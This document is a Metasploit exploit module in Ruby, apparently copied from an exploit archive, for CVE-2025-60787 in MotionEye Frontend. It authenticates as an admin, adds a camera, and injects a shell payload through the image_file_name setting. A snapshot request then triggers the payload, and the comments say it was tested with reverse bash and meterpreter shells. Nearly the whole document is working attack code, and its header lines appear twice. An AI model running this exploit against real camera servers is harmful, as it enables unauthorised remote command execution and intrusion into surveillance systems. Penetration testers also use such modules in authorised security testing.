MotionEye Frontend 0.43.1b4 Remote Code Execution

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
prepend Msf::Exploit::Remote::AutoCheck

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Remote Code Execution Vulnerability in MotionEye Frontend (CVE-2025-60787)',
'Description' => %q{
This module exploits a template injection vulnerability in the MotionEye Frontend.

MotionEye Frontend versions 0.43.1b4 and prior are vulnerable to OS Command Injection in configuration parameters such as image_file_name.
Unsanitized user input is written to MotionEye Frontend configuration files, allowing remote authenticated attackers with admin access to achieve code execution.

Successful exploitation will result in the command executing as the user running
the web server, potentially exposing sensitive data or disrupting survey operations.

An attacker can execute arbitrary system commands in the context of the user running the web server.
},
'License' => MSF_LICENSE,
'Author' => [
'Maksim Rogov', # Metasploit Module
'prabhatverma47' # Vulnerability Discovery
],
'References' => [
['CVE', '2025-60787'],
['URL', 'https://github.com/prabhatverma47/motionEye-RCE-through-config-parameter']
],
'Platform' => ['unix', 'linux'],
'Arch' => [ARCH_CMD],
'Targets' => [
[
'Unix Command',
{
'Platform' => ['unix', 'linux'],
'Arch' => ARCH_CMD,
'Type' => :unix_cmd,
'DefaultOptions' => {
# In the Docker container from the official repository, only curl is available
'FETCH_COMMAND' => 'CURL'
}
# Tested with cmd/unix/reverse_bash
# Tested with cmd/linux/http/x64/meterpreter/reverse_tcp
}
]
],
'Payload' => {
'BadChars' => '&\\'
},
'DefaultTarget' => 0,
'DisclosureDate' => '2025-09-09',
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK],
'Reliability' => [REPEATABLE_SESSION]
}
)
)

register_options(
[
OptString.new('TARGETURI', [true, 'Path to MotionEye', '/']),
OptString.new('USERNAME', [true, 'The username used to authenticate to MotionEye', 'admin']),
OptString.new('PASSWORD', [true, 'The password used to authenticate to MotionEye', ''])
]
)
end

def clean_string(data)
# Regex to match any character not allowed in the canonical string
# The regular expression is taken from the MotionEye source code.
# https://github.com/motioneye-project/motioneye/blob/b3ed73298554a1db1ea158c4bf6f2ec3a54ef5b9/motioneye/utils/__init__.py#L39
signature_regex = %r{[^A-Za-z0-9/?_.=&{}\[\]":, -]}

if data.nil?
# Return empty string if input is nil
return ''
elsif data.is_a?(String)
# Replace disallowed characters with '-' if input is already a string
return data.gsub(signature_regex, '-')
elsif data.respond_to?(:to_s)
# Convert to string and replace disallowed characters if possible
return data.to_s.gsub(signature_regex, '-')
end

# Return empty string for all other cases
''
end

# Compute a SHA1 signature for the request using method, path, body, and user key.
def compute_signature(method, path, body = nil, key = '')
# Parse the given path into URI components
parsed_uri = URI.parse(path)

# Get and parse query string (if present)
query_string = parsed_uri.query
query_params = query_string.nil? ? {} : CGI.parse(query_string)

# Prepare query parameters for signing: take first values and remove the '_signature' field
sig_query = query_params
.transform_values(&:first)
.reject { |k, _v| k == '_signature' }

# Sort query arguments alphabetically
sorted_query_items = sig_query.sort_by { |k, _v| k }

# Encode parameters and join them into a query string
query_components = sorted_query_items.map { |k, v| "#{k}=#{CGI.escape(v)}" }
canonical_query = query_components.join('&')

# Construct full canonical path with query
canonical_path = parsed_uri.path
canonical_path += "?#{canonical_query}" unless canonical_query.empty?

# Clean up path and body before hashing
cleaned_path = clean_string(canonical_path)
cleaned_body = clean_string(body)

key_hash = Digest::SHA1.hexdigest(key).downcase

data = "#{method}:#{cleaned_path}:#{cleaned_body}:#{key_hash}"

Digest::SHA1.hexdigest(data).downcase
end

def generate_timestamp_ms
(Time.now.to_f * 1000).to_i
end

# For the server to accept a request, all requests must be signed.
# This is a wrapper around the standard send_request_cgi function that adds the GET parameters _ (timestamp), username, and signature to the requests.
def send_signed_request_cgi(opts = {})
signature_key = datastore['PASSWORD']

method = opts['method'] || 'GET'
base_path = opts['uri']
body = nil

if method.upcase == 'POST'
if opts['data']
body = opts['data']
elsif opts['vars_post']
body = URI.encode_www_form(opts['vars_post'])
end
end

vars_get = {
'_username' => datastore['USERNAME'],
'_' => generate_timestamp_ms
}.merge!(opts.fetch('vars_get', {}))

query_string = URI.encode_www_form(vars_get)

path_with_query = query_string.empty? ? base_path : "#{base_path}?#{query_string}"

signature = compute_signature(
method,
path_with_query,
body,
signature_key
)

new_opts = opts.dup
new_opts['vars_get'] = vars_get
new_opts['vars_get']['_signature'] = signature

return send_request_cgi(new_opts)
end

def add_camera
print_status('Adding malicious camera...')

res = send_signed_request_cgi(
'uri' => normalize_uri(target_uri.path, '/config/add/'),
'method' => 'POST',
'ctype' => 'application/json',
'data' => {
'scheme' => 'rstp',
'host' => Faker::Internet.ip_v4_address,
'port' => '',
'path' => '/',
'username' => '',
'proto' => 'netcam'
}.to_json
)

unless res && res.code == 200
fail_with(Failure::UnexpectedReply, "#{peer} Server did not respond with the expected HTTP 200")
end

json_body = res.get_json_document
unless json_body
fail_with(Failure::UnexpectedReply, 'Unable to parse the response')
end

unless json_body.key?('id')
fail_with(Failure::UnexpectedReply, "#{peer} - Camera ID not found in response")
end

print_good('Camera successfully added')

return json_body['id']
end

def set_exploit(camera_id)
print_status('Setting up exploit...')

camera_name = Rex::Text.rand_text_alphanumeric(4..16)
res = send_signed_request_cgi(
'uri' => normalize_uri(target_uri.path, '/config/0/set/'),
'method' => 'POST',
'ctype' => 'application/json',
'data' => {
camera_id => {
'enabled' => true,
'name' => camera_name,
'proto' => 'netcam',
'auto_brightness' => false,
'rotation' => [0, 90, 180, 270].sample,
'framerate' => rand(2..30),
'privacy_mask' => false,
'storage_device' => 'custom-path',
'network_server' => '',
'network_share_name' => '',
'network_smb_ver' => '1.0',
'network_username' => '',
'network_password' => '',
'root_directory' => "/var/lib/motioneye/#{camera_name}",
'upload_enabled' => false,
'upload_picture' => false,
'upload_movie' => false,
'upload_service' => ['ftp', 'sftp', 'webdav'].sample,
'upload_server' => '',
'upload_port' => '',
'upload_method' => ['post', 'put'].sample,
'upload_location' => '',
'upload_subfolders' => false,
'upload_username' => '',
'upload_password' => '',
'upload_endpoint_url' => '',
'upload_access_key' => '',
'upload_secret_key' => '',
'upload_bucket' => '',
'clean_cloud_enabled' => false,
'web_hook_storage_enabled' => false,
'command_storage_enabled' => false,
'text_overlay' => false,
'text_scale' => rand(1..3),
'video_streaming' => false,
'streaming_framerate' => rand(5..30),
'streaming_quality' => rand(50..95),
'streaming_resolution' => rand(50..95),
'streaming_server_resize' => false,
'streaming_port' => '9081',
'streaming_auth_mode' => 'disabled',
'streaming_motion' => false,
'still_images' => true,
'image_file_name' => "$(#{payload.encoded})",
'image_quality' => rand(50..95),
'capture_mode' => 'manual',
'preserve_pictures' => '0',
'manual_snapshots' => true,
'movies' => false,
'movie_file_name' => '%Y-%m-%d/%H-%M-%S',
'movie_quality' => rand(50..95),
'movie_format' => 'mp4 => h264_v4l2m2m',
'movie_passthrough' => false,
'recording_mode' => 'motion-triggered',
'max_movie_length' => '0',
'preserve_movies' => '0',
'motion_detection' => false,
'frame_change_threshold' => "0.#{Rex::Text.rand_text_numeric(16)}",
'max_frame_change_threshold' => rand(0..1),
'auto_threshold_tuning' => false,
'auto_noise_detect' => false,
'noise_level' => rand(10..32),
'light_switch_detect' => '0',
'despeckle_filter' => false,
'event_gap' => rand(5..30),
'pre_capture' => rand(1..5),
'post_capture' => rand(1..5),
'minimum_motion_frames' => rand(20..30),
'motion_mask' => false,
'show_frame_changes' => false,
'create_debug_media' => false,
'email_notifications_enabled' => false,
'telegram_notifications_enabled' => false,
'web_hook_notifications_enabled' => false,
'web_hook_end_notifications_enabled' => false,
'command_notifications_enabled' => false,
'command_end_notifications_enabled' => false,
'working_schedule' => false,
'resolution' => ['320x240', '640x480', '1280x720'].sample
}
}.to_json
)

unless res && res.code == 200
fail_with(Failure::UnexpectedReply, "#{peer} Server did not respond with the expected HTTP 200")
end

print_good('Exploit setup complete')
end

def trigger_exploit(camera_id)
print_status('Triggering exploit...')

res = send_signed_request_cgi(
'uri' => normalize_uri(target_uri.path, "/action/#{camera_id}/snapshot/"),
'method' => 'POST',
'ctype' => 'application/json',
'data' => 'null'
)

unless res && res.code == 200
fail_with(Failure::UnexpectedReply, "#{peer} Server did not respond with the expected HTTP 200")
end

print_good('Exploit triggered, waiting for session...')
end

def del_camera(camera_id)
print_status('Removing camera')

res = send_signed_request_cgi(
'uri' => normalize_uri(target_uri.path, "/config/#{camera_id}/rem/"),
'method' => 'POST',
'ctype' => 'application/json',
'data' => 'null'
)

unless res && res.code == 200
fail_with(Failure::UnexpectedReply, "#{peer} Server did not respond with the expected HTTP 200")
end

print_good('Camera removed successfully')
end

def check
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path),
'method' => 'GET'
)

motion_version_span = res.get_html_document.at('tr.settings-item:has(td.settings-item-label span:contains("motionEye Version")) td.settings-item-value span.settings-item-label')
motion_version = motion_version_span&.text&.strip

if motion_version_span.nil? || motion_version.empty?
fail_with(Failure::UnexpectedReply, "#{peer} Failed to find motionEye version on the page")
end

clear_version = motion_version.gsub(/[a-zA-Z]/, '')
if clear_version < '0.43.15'
return CheckCode::Appears("Detected version #{motion_version}, which is vulnerable")
end

return CheckCode::Detected("At the time of writing the module, no patch for this vulnerability exists. A newer version #{motion_version} has been found compared to the vulnerable releases; however, it is unclear whether the issue has been fixed. It is recommended to review the release notes")
end

def cleanup
del_camera(@camera_id) unless @camera_id.nil?
super
end

def exploit
@camera_id = add_camera
set_exploit(@camera_id)
trigger_exploit(@camera_id)
end
end